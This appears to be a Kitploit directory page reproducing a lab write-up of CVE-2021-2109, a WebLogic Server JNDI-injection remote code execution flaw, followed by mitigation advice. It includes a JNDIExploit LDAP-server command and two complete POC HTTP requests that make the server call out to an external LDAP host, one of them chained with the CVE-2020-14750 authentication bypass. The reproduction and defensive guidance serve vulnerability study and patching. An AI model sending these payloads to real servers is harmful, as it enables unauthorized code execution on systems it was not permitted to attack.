Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-2109 — Step-by-step reproduction and analysis of CVE-2021-2109, a Weblogic Server remote code execution vulnerability via JNDI injection, with POC and mitigation guidance. | Kitploit
Tools/GitHubGitHub/rabbitsafe/cve-2021-2109
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrabbitsafe/cve-2021-2109

CVE-2021-2109

Step-by-step reproduction and analysis of CVE-2021-2109, a Weblogic Server remote code execution vulnerability via JNDI injection, with POC and mitigation guidance.

View Repository
9555 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-2109 Weblogic Server Remote Code Execution Vulnerability Reproduction and Analysis

In January 2021, Oracle released a security update patch, including 329 new security patches in the Oracle product family. This announcement specifically mentioned the Oracle WebLogic Server security advisory regarding the CVE-2020-14750 vulnerability released on November 1, 2020. Customers are strongly advised to apply this patch update, as well as other patches in this advisory. CVE-2021-2109 is a remote code execution vulnerability in Weblogic. The vulnerability is mainly caused by JNDI injection, allowing attackers to exploit this vulnerability for remote code execution.

Affected versions are as follows: Weblogic Server 10.3.6.0.0 Weblogic Server 12.1.3.0.0 Weblogic Server 12.2.1.3.0 Weblogic Server 12.2.1.4.0 Weblogic Server 14.1.1.0.0

  1. CVE-2021-2109 Weblogic Server Remote Code Execution Vulnerability Reproduction

Using DOCKER to set up a Weblogic Server test environment, Weblogic Server can be accessed normally image

  1. JNDI injection under normal login to the backend First scenario: Use an administrator account to log in to the Weblogic Server backend, capture the login packet with BurpSuite, and obtain the login Cookie data.

image

Start LDAP locally, available for download at https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11. Command: java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

image

Send the CVE-2021-2109 JNDI injection POC packet for Weblogic Server remote code execution: POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

image

Execute the ipconfig system command via the cmd variable

image

  1. JNDI injection by exploiting Weblogic Server unauthorized access to the backend Second scenario: No login to the Weblogic Server backend is required. Requires combining with the Weblogic Server CVE-2020-14750 unauthorized access vulnerability, send the CVE-2021-2109 JNDI injection POC packet: POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

image

Execute calc.exe via the cmd variable to open the system calculator

image

image

The system calculator is opened

image

  1. Security Recommendations for CVE-2021-2109 Weblogic Server Remote Code Execution Vulnerability

  2. Disable the T3 protocol If you do not rely on the T3 protocol for JVM communication, you can mitigate the impact of this vulnerability by temporarily blocking the T3 protocol. 1). Enter the Weblogic console, in the base_domain configuration page, go to the 'Security' tab page, click 'Filter', and configure the filter. 2). In the connection filter, enter: weblogic.security.net.ConnectionFilterImpl, and in the connection filter rules box, enter: * * 7001 deny t3 t3s.

  3. Disable IIOP Log in to the Weblogic console, find the 'Enable IIOP' option, uncheck it, and restart for the change to take effect.

  4. Temporarily disable external access to the backend /console/console.portal

  5. Upgrade to the official security patch

Download Tool